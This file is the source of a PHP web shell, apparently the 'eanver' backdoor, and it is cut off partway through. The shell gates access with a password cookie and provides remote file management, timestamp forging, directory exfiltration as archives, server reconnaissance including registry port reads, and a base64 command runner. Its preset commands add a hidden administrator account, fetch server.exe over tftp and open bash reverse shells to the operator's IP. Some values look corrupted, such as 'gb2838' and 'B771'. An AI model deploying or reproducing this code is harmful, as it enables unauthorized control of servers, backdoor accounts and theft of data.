B9316C2E312FCEE55441D905CC04C78F9BD5E61E8EF2CF11CCE8B7086FE901FF3049D3385A126E4337740991F81486EA87740941B0080491DD0EF88181A2F4F1A25F812051D66D779286824C4C074EC3F0750830007026ED56B92C90EB0B893EF54400A1FB5F320C800274C6DD6B20A4258790754530964988FCA4BC14D180731AB3DF320443CB14344C8603876D9544816F0986038031105E1BD3372B259078DB6AFCDC0D675986080C3675F8AED54336038024609F7FA84C12346380093959E31030AB8038223A0B79FC776DE886017CBECCD47FFC2C9EB254705C0554ABB649648967FB9086970596485C9505964489672BFB0A87C63858C9F8B01A9A060C7503BFAD0BB6D790F1ECF5F798116216480CF11A2C803836562270C22BFF33E34F430F7A302B8B41975F5C1DFEF54068C6B8346952DFC8849CFA1E8303360A7AE618AE5A1E4C21C1EF593C8B82F32DC81586D87FA4C051ACADA57D3D8FDB6E2D58E38393901FE83612B460464AA0CBE08B093BB87BA9FCADB38503112A2107C78D470F6A33112A240303DD4ACE463A7256BE50E251D683112A210A0C2DAF234B0B893838D749CFD24BE86FE08B0B2542E10A874C4BCA33112A20E21BF2CA42F07D03112402743618D09FFB6DBA42B0FCB863DDE0D15C0E82F0A1BD47FF2FDD178EA3FD8753B539301BA1C00C92C9CCC73E00CA406586DC7AF943112A202433F710198AAA75A8AA732546560C54AB267830249B66C3F182EF963A7256B0765D566C95502AB0B272189AD37D3D184AA88F8508DC4F0134EA7D90843594DF0152E6B702D9D7325079557D33EC15A1C0D18DA8B1B3483BB54AF115FB84957AA05DB93224853618B1E6A2E0377EC99A15CDFB84F6C73A966815F6750837411399DAA26DFA06807256C2B0D1AF46E1AB6C751617EB25F0CC029FFB66D4447CFFFA4D7F6A2EFDF72812529E6B8937CBE4DAF03D349608838EC2BDEB82E7E8521B8E6ED516678CF491395AD06E3BDA3808C373E8DAF0C0A79699ADFAA8B044C1815D9AD316EC6470F889E316FA8401F8B07523A0A8978334D7BD03ABD9666F4ABAE78FB3C11206242F39D852868FBB876296FDF4BC0150340D7690DADFC03150B1104DD31FB732D5B3E2CDD37E4099A7C7DF1F08568213A8019CB8101C3B6C091C766B649BE21BC9C4243DD1ED700CC804914B063E8802B2980CF04CC7469FA15534BE0304C1C1C577FD0BCE14EB2AFAD24E6A40E74215F2508B96587116F8A750B0E12282B36169243A7BAC744A82712A12C502BAF400C4BCBBAF4D225DB0320C54750D637E1B3430A806839792469A76B569246C0CC6C5B1E3F876026C249B137E079210B41096EE3E941E71457AA0C8119D584A37C00012E1DC5CC79F4C6746EDA3002061F0EA00F63AEB5802B5622C1616017083E5F61A8v7CE3A2CCC2443D36833BF360BCA7100C86B0A80B56C306A78302EBC70480098190F6F44886DC712703E55E07D72C297E7540008B0093C11BA924C4FE95B59435F77EF0E5087F6590F0DC96CC01525B34C08215C02EFB2AFC3B8190893E9C7CECBF624FEB240A90280DF69E71E2482B90077562F7A61165698A44A07D36EF8B5D81A28FB82115BC45E032901AED904430797A55E082C535BE81F4C184FEEEEEE1DB13817AC37ACC04457D54896CC548AD24144E0D5418ADB4CC40273D609AB1FBAA5EEEE012C1680470C168BA8FA124B257000589529C753E028B1DB519D80DF03BBF75BF2580058D16B92CA73860EE3A21DAC0C4F32CA6A66C2ADF28D8FDD1C18900440DDEA6C21F755F50D8A60D4059AB7DAF8741C05B259A60D200A1A038094880B92C074EC1F7DF13F670268B4845443175CFCE8076DCB155D24437405281F7DEDD24F2A0050E170A6E21A3D5595938BCC189B790C4C18643543204916F75B0D5CC8DFB8B84570537752A5A03B6EBA6F0A06F1FB9672F7163C7AD96222221F0C163DD11CC06859B08B93C0C404FEBBF5B1CF92589F06750E08B570020741E01C2492C915F62EE8BC1EA8A7FD678503DA088ED1E1CC452C56842F1DF4513F4A48A3FA47A91C3F2F1D3F11C51079AD0B1B1BC11B1BCA111B246A87BC1C6C3D4D8B2D2F240D16F6436DFB38D26E390F6A74F63E7F1980CD4D8B1E243F4EC3F809F2205C7CF3E804888B1E6DA09CFD749371FFB3D874B01C1636B1C1B4404CE718A553B15B8AE8491A02BF5295EC6B013768F2097ADA24D9EF871000208C483F904BF6B8C432FBF2B79EF0E02324785E0220C4C02591853952C95015B15C0DB7F11C24FF28DE06852FD0C43ADA26747340A2E81C66DBEEEE19669FF06CA936A734904199CF3B8D65180021D470B1110377CFAEA70CE2D718ABEBE9E2580AF133234084422F1F1983D3661E1A02C51622BCC8837C07813D670EDD17EF9647CFF05B0073E9701376011E5F2401F819A6E7F31F1F7D181537EBD243243B116860CF6CDE76E21EB087CC00B0C974084A8D12189EA718D8221DFDDCB9E13B550B231F44F738E4383DD5432526A11066F0D3D1A2579458401F2345245406F4B750705D7E8B1D1B0003BBF8A0A754B1BC3503B4880B90C2D9F32FB9EAEB50EB0E8C7744F860D4FE9143B6AA0F4130EB56D56FE00FAEA76B144326A921C11DDCEBA4284576E80187238D6D6AC7E98117216B6DB196F87A0BDB0DA59B08DD206C098513802FF504F2056B8CAA4BFF1DB85965ED3925A88578D4C4814400EA359A55073E2E2DBEB80C1D83BCA5BEB1C357DE73AC592DD826C610A8B2C5FEA4984A7F4A8959046B09AB6699740B753E46742B93CB10341A2BC8336700000000000000807C58C45A847C55B30181B783B141DEF8261418003E6709E400EEEE769CCD36EB199CE1C6AA9AEF6C82E862F185012C1798BEC972F1866038B141DE8003F185012C1798BEC972F1F3B803F185626F502C1798BEC972F189E411756F1E057904770877034AEF6303BFD44BAA1C4DF185012C1798BEC972F1F3B94DF185012C1798BEC972F1F3B9F611414DF185012C1798BEC972F1F3B94DF185626F502C1798BEC972F189E46F29A67BB1AEF962228084AB32562BE519BBB1007A55C56C82E89FEF6ACE58D666660B4709836F045DD78F9B049002B257C0730029484FEEEE5E2725B3D61000008B12F82CEDD0CC38EE410FCC34C23B2A8A0183807CE367E0803E6FBE3F6AED7BE8D3D15DD78F9B05AFD859A96709E4C0000089075FDFBA45F0170FB5FE6BA30A0A8003F37EBF9B08FB38020A0A80958B12F867E401D3272303CBCC8785C67B45B35087FB3F4AFB38040A0A800FDFBA039FBACAC3F300C0902C0B580A6E8F9B049D562C2C0B8B12F86FDFBA22F0E10740730390A76FBEE0803E6FBED3D15DD33FCF2643847AAD66EBD78F9B023FCFD9E0580A0A806709E4F0EEEEB36C0A0A805BB505E8C3128205B5F750340000801FC102322F755A03740C700282055FA0AD4424CC86A83BBEB5FFB6A0D8E7C8F0EEEE00000000000000000000000000000000000000000000000000000000000000000000000000000000000075BF0A805BE00000000000000000000000000000ADF000006BE00000000000000000000000000000800C000068E00000000000000000000000000000000000000000000021B88888ABE00000BBE0000000000000CBE0000000000000730000800000000048DFA489448CF5426843FABC0740A267DCD265c5240B110E042363F3854268070B110E0A8A4F6BF90A4962A267C229440000C0550761C5D2C4E07D72C241137300005036C225296C7A61C5D27E5F61D0426763924C4F3E206E6A4F6BF9B50F34838B1B3100000000000000006A9B43B6000000001738B0000100000003000000030000000038B0000C38B0001838B00090100000901500008010000036D9000031D900003738B0000000010002FFCF96DEB107F00B1168070B110E79A88742D50E79A88742D5583341FDAF04D04279A88742D5583DAF04D04222222222E000000CB000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
}
if (@get_magic_quotes_gpc()) {
foreach ($_POST as $k => $v) {
if (!is_array($_POST[$k])) {
$_POST[$k] = stripslashes($v);
} else {
$array = $_POST[$k];
foreach ($array as $kk => $vv) {
$array[$kk] = stripslashes($vv);
}
$_POST[$k] = $array;
}
}
foreach ($_GET as $k => $v) {
if (!is_array($_GET[$k])) {
$_GET[$k] = stripslashes($v);
} else {
$array = $_GET[$k];
foreach ($array as $kk => $vv) {
$array[$kk] = stripslashes($vv);
}
$_GET[$k] = $array;
}
}
}
if (!isset($_GET["img"])) {
header("Content-Type: text/html;charset=gb2838");
}
$envlpath = md5($_SERVER ['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']);
if (!isset($_COOKIE[$envlpath]) || $_COOKIE[$envlpath] != md5(postpass)) {
if (isset($_POST['postpass'])) {
if ($_POST['postpass'] == postpass) {
setcookie($envlpath, md5(postpass), time() + 6 * 3600);
echo "<meta http-equiv='refresh' content='0'>";
} else {
echo '<CENTER></CENTER>';
}
}
islogin();
exit;
}
if (isset($_GET['down'])) do_down($_GET['down']);
if (isset($_GET['pack'])) {
$dir = do_show($_GET['pack']);
$zip = new eanver($dir);
$out = $zip->out;
do_download($out, $_SERVER['HTTP_HOST'] . ".tar.gz");
}
if (isset($_GET['unzip'])) {
css_main();
start_unzip($_GET['tt'], $_GET['unzip'], $_GET['unzip'], $_GET['todir']);
exit;
}
define('root_dir', str_replace('\\', '/', dirname(myaddress)) . '/');
define('run_win', substr(PHP_OS, 0, 3) == "WIN");
define('my_shell', str_path(root_dir . $_SERVER['SCRIPT_NAME']));
$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : "";
$doing = isset($_POST['doing']) ? $_POST['doing'] : "";
$path = isset($_GET['path']) ? $_GET['path'] : root_dir;
$name = isset($_POST['name']) ? $_POST['name'] : "";
$img = isset($_GET['img']) ? $_GET['img'] : "";
$p = isset($_GET['p']) ? $_GET['p'] : "";
$pp = urlencode(dirname($p));
if ($img) css_img($img);
if ($eanver == "phpinfo") die(phpinfo());
if ($eanver == 'logout') {
setcookie($envlpath, "", time() - 6 * 3600);
refresh_page();
die();
}
$class = array("" => array("upfiles" => "", "phpinfo" => "", "info_f" => "", "phpcode" => "PHP"), "" => array("sqlshell" => "SQL", "mysql_exec" => "MYSQL", "myexp" => "MYSQL", "cmd" => "", "linux" => "", "downloader" => "", "port" => ""), "" => array("guama" => "", "tihuan" => "", "scanfile" => "", "scanphp" => ""), "" => array("getcode" => ""));
$msg = array("0" => "", "1" => "", "2" => "", "3" => "", "4" => "", "5" => "", "6" => "", "7" => "");
css_main();
switch ($eanver) {
case "left":
css_left();
$str = <<<end
<dl><dt><a href="#" onclick="showHide('items1');" target="_self">
end;
html_n($str);
html_img("title");
html_n(' </a></dt><dd id="items1" style="display:block;"><ul>');
$ROOT_DIR = File_Mode();
html_n("<li><a title='" . $ROOT_DIR . "' href='?eanver=main&path=" . $ROOT_DIR . "' target='main'></a></li><li><a href='?eanver=main' target='main'></a></li>");
for ($i = 66; $i <= 90; $i++) {
$drive = chr($i) . ':';
if (is_dir($drive . "/")) {
$vol = File_Str("vol $drive");
if (empty($vol)) $vol = $drive;
html_n("<li><a title='" . $drive . "' href='?eanver=main&path=" . $drive . "' target='main'>(" . $drive . ")</a></li>");
}
}
html_n("</ul></dd></dl>");
$i = 2;
foreach ($class as $name => $array) {
html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items" . $i . "');\" target=\"_self\">");
html_img("title");
html_n($name . '</a></dt><dd id="items' . $i . '" style="display:block;"><ul>');
foreach ($array as $url => $value) {
html_n('<li><a href="?eanver=' . $url . "\" target='main'>" . $value . "</a></li>");
}
html_n("</ul></dd></dl>");
$i++;
}
html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items" . $i . "');\" target=\"_self\">");
html_img("title");
html_n(' </a></dt><dd id="items' . $i . "\" style=\"display:block;\"><ul><li><a title='' href='?eanver=logout' target=\"main\"></a></li></ul></dd></dl></div>");
break;
case "main":
css_js("1");
$dir = @dir($path);
$REAL_DIR = File_Str(realpath($path));
if (!empty($_POST['actall'])) {
echo '<div class="actall">' . File_Act($_POST['files'], $_POST['actall'], $_POST['inver']) . '</div>';
}
if (!empty($_POST['attam'])) {
$file = $_GET['path'] . '/' . $_POST['file'];
switch ($_POST['attam']) {
case "c" :
if (!preg_match("/^[0-7]{4}$/", $_POST['inver'])) $msg = '<p style="color:#DC143C;"></p>';
$newmode = base_convert($_POST['inver'], 8, 10);
@chmod($file, $newmode);
$msg = '<p style="color:#4078D6;">' . $file . ' ' . $_POST['inver'] . '</p>';
break;
case "d" :
if (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['inver'])) {
$msg = '<p style="color:#DC143C;">' . $_POST['inver'] . ',' . date("Y-m-d H:i:s") . '</p>';
} else {
@touch($file, strtotime($_POST['inver']));
$msg = '<p style="color:#4078D6;">' . $file . ' ' . $_POST['inver'] . '</p>';
}
break;
}
echo '<div class="actall" align="center">' . $msg . '</div>';
}
$NUM_D = $NUM_F = 0;
if (!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://' . $_SERVER['SERVER_NAME'] . '/';
$ROOT_DIR = File_Mode();
html_n("<table width=\"100%\" border=0 bgcolor=\"#555555\"><tr><td><form method='GET'>:<input type='hidden' name='eanver' value='main'><input type='text' size='80' name='path' value='" . $path . "'> <input type='submit' value=''></form><br><form method='POST' enctype=\"multipart/form-data\" action='?eanver=editr&p=" . urlencode($path) . "'><input type=\"button\" value=\"\" onclick=\"rusurechk('newfile.php','?eanver=editr&p=" . urlencode($path) . "&refile=1&name=');\"> <input type=\"button\" value=\"\" onclick=\"rusurechk('newdir','?eanver=editr&p=" . urlencode($path) . "&redir=1&name=');\">");
html_input("file", "upfilet", "", " ");
html_input("submit", "uploadt", "");
if (!empty($_POST['newfile'])) {
if (isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb";
$newfile = base64_decode($_POST['newfile']);
if (strtolower($_POST['charset']) == 'utf-8') {
$txt = base64_decode($_POST['txt']);
} else {
$txt = $_POST['txt'];
}
if (substr(PHP_VERSION, 0, 1) >= 5) {
if ((strtolower($_POST['charset']) == 'gb2838') or (strtolower($_POST['charset']) == 'gbk')) {
$txt = iconv("UTF-8", "gb2838//IGNORE", base64_decode($_POST['txt']));
} else {
$txt = array_iconv($txt);
}
}
echo do_write($newfile, $bin, $txt) ? '<br>' . $newfile . ' ' . $msg[0] : '<br>' . $newfile . ' ' . $msg[1];
@touch($newfile, @strtotime($_POST['time']));
}
html_n('</form></td></tr></table><form method="POST" name="fileall" id="fileall" action="?eanver=main&path=' . $path . '"><table width="100%" border=0 bgcolor="#555555"><tr height="25"><td width="45%"><b>');
html_a('?eanver=main&path=' . uppath($path), "<b></b>");
html_n('</b></td><td align="center" width="10%"><b></b></td><td align="center" width="5%"><b></b></td><td align="center" width="8%"><b>(' . get_current_user() . ')|</b></td><td align="center" width="10%"><b></b></td><td align="center" width="10%"><b></b></td></tr>');
while ($dirs = @$dir->read()) {
if ($dirs == '.' or $dirs == '..') continue;
$dirpath = str_path("$path/$dirs");
if (is_dir($dirpath)) {
$perm = substr(base_convert(fileperms($dirpath), 10, 8), -4);
$filetime = @date('Y-m-d H:i:s', @filemtime($dirpath));
$dirpath = urlencode($dirpath);
html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="' . $dirs . '">');
html_img("dir");
html_a('?eanver=main&path=' . $dirpath, $dirs);
html_n('</td><td align="center"><a href="#" onClick="rusurechk(\'' . $dirs . "','?eanver=rename&p=" . $dirpath . "&newname=');return false;\"></a> <a href=\"#\" onClick=\"rusuredel('" . $dirs . "','?eanver=deltree&p=" . $dirpath . "');return false;\"></a>");
html_a('?pack=' . $dirpath, "");
html_n("</td><td align=\"center\"><a href=\"javascript:SubmitAttran(':','" . $dirs . "','" . $perm . "','c');\" title=''>" . $perm . '</a></td><td align="center">' . GetFileOwner("$path/$dirs") . ":" . GetFileGroup("$path/$dirs"));
html_n("</td><td align='center'><a href=\"javascript:SubmitAttran(':','" . $dirs . "','" . $filetime . "','d');\" title=''>" . $filetime . "</a></td><td align='right'></td></tr>");
$NUM_D++;
}
}
@$dir->rewind();
while ($files = @$dir->read()) {
if ($files == '.' or $files == '..') continue;
$filepath = str_path("$path/$files");
if (!is_dir($filepath)) {
$fsize = @filesize($filepath);
$fsize = @File_Size(sprintf("%u", $fsize));
$perm = substr(base_convert(fileperms($filepath), 10, 8), -4);
$filetime = @date('Y-m-d H:i:s', @filemtime($filepath));
$Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $filepath);
$todir = $ROOT_DIR . '/';
$filepath = urlencode($filepath);
$it = substr($filepath, -3);
html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="' . $files . '">');
html_img(css_showimg($files));
html_a($Fileurls, $files, 'target="_blank"');
html_n('</td><td align="center">');
if (($it == '.gz') or ($it == 'zip') or ($it == 'tar') or ($it == '.7z')) {
html_a("?type=1&unzip=" . $filepath, "Z1", 'title="PHP' . $files . "\" onClick=\"rusurechk('" . $todir . "','?tt=1&unzip=" . $filepath . '&todir=\');return false;"');
html_a("?type=2&unzip=" . $filepath, "Z2", 'title="PHPZIP' . $files . "\" onClick=\"rusurechk('" . $todir . "','?tt=2&unzip=" . $filepath . '&todir=\');return false;"');
html_a("?type=3&unzip=" . $filepath, "T", 'title="PHPtar' . $files . ',LINUX,B771,0755" onClick="rusurechk(\'' . $todir . "','?tt=3&unzip=" . $filepath . '&todir=\');return false;"');
} else {
html_a("?eanver=editr&p=" . $filepath, "", "title=\"" . $files . '"');
}
html_n("<a href=\"#\" onClick=\"rusurechk('" . $files . "','?eanver=rename&p=" . $filepath . "&newname=');return false;\"></a> <a href=\"#\" onClick=\"rusuredel('" . $files . "','?eanver=del&p=" . $filepath . "');return false;\"></a> <a href=\"#\" onClick=\"rusurechk('" . urldecode($filepath) . "','?eanver=copy&p=" . $filepath . "&newcopy=');return false;\"></a></td><td align=\"center\"><a href=\"javascript:SubmitAttran(':','" . $files . "','" . $perm . "','c');\" title=''>" . $perm . "</a></td><td align=\"center\">" . GetFileOwner("$path/$files") . ':' . GetFileGroup("$path/$files"));
html_n("</td><td align='center'><a href=\"javascript:SubmitAttran(':','" . $files . "','" . $filetime . "','d');\" title=''>" . $filetime . "</a></td><td align='right'>");
html_a("?down=" . $filepath, $fsize, "title=\"" . $files . '"');
html_n("</td></tr>");
$NUM_F++;
}
}
@$dir->close();
$Filetime = gmdate('Y-m-d H:i:s', time() + 3600 * 8);
html_n("</table>
<div class=\"actall\"> <input type=\"hidden\" id=\"actall\" name=\"actall\" value=\"\">
<input type=\"hidden\" id=\"attam\" name=\"attam\" value=\"\">
<input type=\"hidden\" id=\"inver\" name=\"inver\" value=\"undefined\">
<input type=\"hidden\" id=\"file\" name=\"file\" value=\"undefined\">
<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"CheckAll(this.form);\">
<input type=\"button\" value=\"\" onclick=\"SubmitUrl(': ','" . $REAL_DIR . "','a');return false;\">
<input type=\"button\" value=\"\" onclick=\"Delok('','b');return false;\">
<input type=\"button\" value=\"\" onclick=\"SubmitUrl(': ','0666','c');return false;\">
<input type=\"button\" value=\"\" onclick=\"CheckDate('" . $Filetime . "','d');return false;\">
<input type=\"button\" value=\"\" onclick=\"SubmitUrl(': ','" . $path . '/' . $_SERVER['SERVER_NAME'] . ".tar.gz','e');return false;\">
(" . $NUM_D . ") / (" . $NUM_F . ")</div>
</form> ");
break;
case "editr":
echo("<script>");
html_base();
echo("</script>");
css_js("2");
if (!empty($_POST['uploadt'])) {
echo @copy($_FILES['upfilet']['tmp_name'], str_path($p . '/' . $_FILES['upfilet']['name'])) ? html_a("?eanver=main", $_FILES['upfilet']['name'] . ' ' . $msg[2]) : msg($msg[3]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . urlencode($p) . '">');
}
if (!empty($_GET['redir'])) {
$name = $_GET['name'];
$newdir = str_path($p . '/' . $name);
@mkdir($newdir, B771) ? html_a("?eanver=main", $name . ' ' . $msg[0]) : msg($msg[1]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . urlencode($p) . '">');
}
if (!empty($_GET['refile'])) {
$name = $_GET['name'];
$jspath = urlencode($p . '/' . $name);
$pp = urlencode($p);
$p = str_path($p . '/' . $name);
$FILE_CODE = "";
$charset = 'GB2838';
$FILE_TIME = date('Y-m-d H:i:s', time() + 3600 * 8);
if (@file_exists($p)) echo "\"\",<br>";
} else {
$jspath = urlencode($p);
$FILE_TIME = date('Y-m-d H:i:s', filemtime($p));
//$FILE_CODE = implode('', @file($p));
$FILE_CODE = file_get_contents($p);
if (substr(PHP_VERSION, 0, 1) >= 5) {
if (empty($_GET['charset'])) {
if (TestUtf8($FILE_CODE) > 1) {
$charset = 'UTF-8';
$FILE_CODE = iconv("UTF-8", "gb2838//IGNORE", $FILE_CODE);
} else {
$charset = 'GB2838';
}
} else {
if ($_GET['charset'] == 'GB2838') {
$charset = 'GB2838';
} else {
$charset = $_GET['charset'];
$FILE_CODE = iconv($_GET['charset'], "gb2838//IGNORE", $FILE_CODE);
}
}
}
$FILE_CODE2 = $FILE_CODE;
$FILE_CODE = htmlspecialchars($FILE_CODE);
if ($FILE_CODE == "") {
$FILE_CODE = htmlspecialchars($FILE_CODE2, ENT_COMPAT, 'ISO-8859-1');
}
}
html_n("<div class=\"actall\">: <input name=\"searchs\" type=\"text\" value=\"\" style=\"width:500px;\">
<input type=\"button\" value=\"\" onclick=\"search(searchs.value)\"></div>
<form method='POST' id=\"editor\" action='?eanver=main&path=" . $pp . "'>
<div class=\"actall\">
<input type=\"text\" name=\"newfile\" id=\"newfile\" value=\"" . $p . "\" style=\"width:750px;\"><input name=\"charset\" id=\"charset\" value=\"" . $charset . "\" Type=\"text\" style=\"width:80px;\" onkeydown=\"if(event.keyCode==13)window.location='?eanver=editr&p=" . $jspath . "&charset='+this.value;\">
<input type=\"button\" value=\"\" onclick=\"window.location='?eanver=editr&p=" . $jspath . "&charset='+this.form.charset.value;\" style=\"width:50px;\">");
html_select(array("GB2838" => "GB2838", "UTF-8" => "UTF-8", "BIG5" => "BIG5", "EUC-KR" => "EUC-KR", "EUC-JP" => "EUC-JP", "SHIFT-JIS" => "SHIFT-JIS", "WINDOWS-874" => "WINDOWS-874", "ISO-8859-1" => "ISO-8859-1"), $charset, "onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\"");
html_n("</div>
<div class=\"actall\"><textarea name=\"txt\" id=\"txt\" style=\"width:100%;height:380px;\">" . $FILE_CODE . "</textarea></div>
<div class=\"actall\"> <input type=\"text\" name=\"time\" id=\"mtime\" value=\"" . $FILE_TIME . "\" style=\"width:150px;\"> <input type=\"checkbox\" name=\"bin\" value=\"wb+\" size=\"\" checked>()</div>
<div class=\"actall\"><input type=\"button\" value=\"\" onclick=\"CheckDate();\" style=\"width:80px;\"><input name='reset' type='reset' value=''>
<input type=\"button\" value=\"\" onclick=\"window.location='?eanver=main&path=" . $pp . "';\" style=\"width:80px;\"></div>
</form>");
break;
case "rename":
html_n("<tr><td>");
$newname = urldecode($pp) . '/' . urlencode($_GET['newname']);
@rename($p, $newname) ? html_a("?eanver=main&path=$pp", urlencode($_GET['newname']) . ' ' . $msg[4]) : msg($msg[5]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . $pp . '">');
break;
case "deltree":
html_n("<tr><td>");
delDirAndFile($p);
!is_dir($p) ? html_a("?eanver=main&path=$pp", $p . ' ' . $msg[6]) : msg($msg[7]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . $pp . '">');
break;
case "del":
html_n("<tr><td>");
delDirAndFile($p);
!is_file($p) ? html_a("?eanver=main&path=$pp", $p . ' ' . $msg[6]) : msg($msg[7]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . $pp . '">');
break;
case "copy":
html_n("<tr><td>");
$newpath = explode('/', $_GET['newcopy']);
$pathr[0] = $newpath[0];
for ($i = 1; $i < count($newpath); $i++) {
$pathr[] = urlencode($newpath[$i]);
}
$newcopy = implode('/', $pathr);
@copy($p, $newcopy) ? html_a("?eanver=main&path=$pp", $newcopy . ' ' . $msg[4]) : msg($msg[5]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . $pp . '">');
break;
case "perm":
html_n("<form method='POST'><tr><td>" . $p . " : ");
if (is_dir($p)) {
html_select(array("B771" => "B771", "B755" => "B755", "7639" => "B639"), $_GET['chmod']);
} else {
html_select(array("B666" => "B666", "7644" => "B644", "0444" => "B444"), $_GET['chmod']);
}
html_input("submit", "save", "");
back();
if ($_POST['class']) {
switch ($_POST['class']) {
case "B771":
$change = @chmod($p, B771);
break;
case "B755":
$change = @chmod($p, B755);
break;
case "B555":
$change = @chmod($p, B555);
break;
case "B666":
$change = @chmod($p, B666);
break;
case "B644":
$change = @chmod($p, B644);
break;
case "B444":
$change = @chmod($p, B444);
break;
}
$change ? html_a("?eanver=main&path=$pp", $msg[4]) : msg($msg[5]);
die("<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=main&path=" . $pp . '">');
}
html_n("</td></tr></form>");
break;
case "info_f":
$dis_func = get_cfg_var("disable_functions");
$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "";
if ($dis_func == "") {
$dis_func = "No";
} else {
$dis_func = str_replace(" ", "<br>", $dis_func);
$dis_func = str_replace(",", "<br>", $dis_func);
}
$phpinfo = (!preg_match("/phpinfo/", $dis_func)) ? "Yes" : "No";
$info = array(array("", date("Y-m-d h:i:s", time())), array("", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), array("IP", gethostbyname($_SERVER['SERVER_NAME'])), array("", PHP_OS), array("", $_SERVER['HTTP_ACCEPT_LANGUAGE']), array("", $_SERVER['SERVER_SOFTWARE']), array("IP", get_proxy_ip()), array("Web", $_SERVER['SERVER_PORT']), array("PHP", strtoupper(php_sapi_name())), array("PHP", PHP_VERSION), array("", Info_Cfg("safemode")), array("", myaddress), array(" URL allow_url_fopen", Info_Cfg("allow_url_fopen")), array("curl_exec", Info_Fun("curl_exec")), array(" enable_dl", Info_Cfg("enable_dl")), array(" display_errors", Info_Cfg("display_errors")), array(" register_globals", Info_Cfg("register_globals")), array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")), array(" memory_limit", Info_Cfg("memory_limit")), array("POST post_max_size", Info_Cfg("post_max_size")), array(" upload_max_filesize", $upsize), array(" max_execution_time", Info_Cfg("max_execution_time") . ""), array(" disable_functions", $dis_func), array("phpinfo()", $phpinfo), array("diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array(" GD Library", Info_Fun("imageline")), array("IMAP", Info_Fun("imap_close")), array("MySQL", Info_Fun("mysql_close")), array("SyBase", Info_Fun("sybase_close")), array("Oracle", Info_Fun("ora_close")), array("Oracle 8 ", Info_Fun("OCILogOff")), array("PREL PCRE", Info_Fun("preg_match")), array("PDF", Info_Fun("pdf_close")), array("Postgre SQL", Info_Fun("pg_close")), array("SNMP", Info_Fun("snmpget")), array("(Zlib)", Info_Fun("gzclose")), array("XML", Info_Fun("xml_set_object")), array("FTP", Info_Fun("ftp_login")), array("ODBC", Info_Fun("odbc_close")), array("Session", Info_Fun("session_start")), array("Socket", Info_Fun("fsockopen")),);
$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
echo "<table width=\"100%\" border=\"0\">";
for ($i = 0; $i < count($info); $i++) {
echo "<tr><td width=\"40%\">" . $info[$i][0] . "</td><td>" . $info[$i][1] . "</td></tr>" . "\n";
}
$registry_proxystring = "";
$Telnet = "";
$PcAnywhere = "";
try {
$registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber");
$Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort");
$PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort");
} catch (Exception $e) {
}
echo "<tr><td width=\"40%\">Terminal Service</td><td>" . $registry_proxystring . "</td></tr>" . "\n";
echo "<tr><td width=\"40%\">Telnet</td><td>" . $Telnet . "</td></tr>" . "\n";
echo "<tr><td width=\"40%\">PcAnywhere</td><td>" . $PcAnywhere . "</td></tr>" . "\n";
echo "</table>";
break;
case "cmd":
$res = "";
$cmd = "whoami";
if (!empty($_POST['cmd'])) {
$res = Exec_Run(base64_decode($_POST['cmd']));
$cmd = htmlspecialchars(base64_decode($_POST['cmd']));
}
html_n("<script language=\"javascript\">
function sFull(i){
Str = new Array(11);
Str[0] = \"dir\";
Str[1] = \"net user envl envl /add\";
Str[2] = \"net localgroup administrators envl /add\";
Str[3] = \"netstat -ano\";
Str[4] = \"ipconfig\";
Str[5] = \"copy c:\\1.php d:\\2.php\";
Str[6] = \"tftp -i " . $_SERVER["REMOTE_ADDR"] . "get server.exe c:\\server.exe\";
Str[7] = \"0<&123;exec 123<>/dev/tcp/" . $_SERVER["REMOTE_ADDR"] . "/B80C6; sh <&123 >&123 2>&123\";
Str[8] = \"bash -i >& /dev/tcp/" . $_SERVER["REMOTE_ADDR"] . "/B8366 0>&1\";
Str[9] = \"tasklist -svc\";
Str[10] = \"netstat -tlnp\";
document.getElementById('cmd').value = Str[i];
return true;
}");
html_base();
html_n("function SubmitUrl(){
document.getElementById('cmd').value = base64encode(document.getElementById('cmd').value);
document.getElementById('gform').submit();
}
</script>
<form method=\"POST\" name=\"gform\" id=\"gform\" ><center><div class=\"actall\">BASE64</div><div class=\"actall\">
<input type=\"text\" name=\"cmd\" id=\"cmd\" value=\"" . $cmd . "\" onkeydown=\"if(event.keyCode==13)SubmitUrl();\" style=\"width:399px;\">
<select onchange='return sFull(options[selectedIndex].value)'>
<option value=\"0\" selected>----</option>
<option value=\"1\"></option>
<option value=\"2\"></option>
<option value=\"3\"></option>
<option value=\"4\"></option>
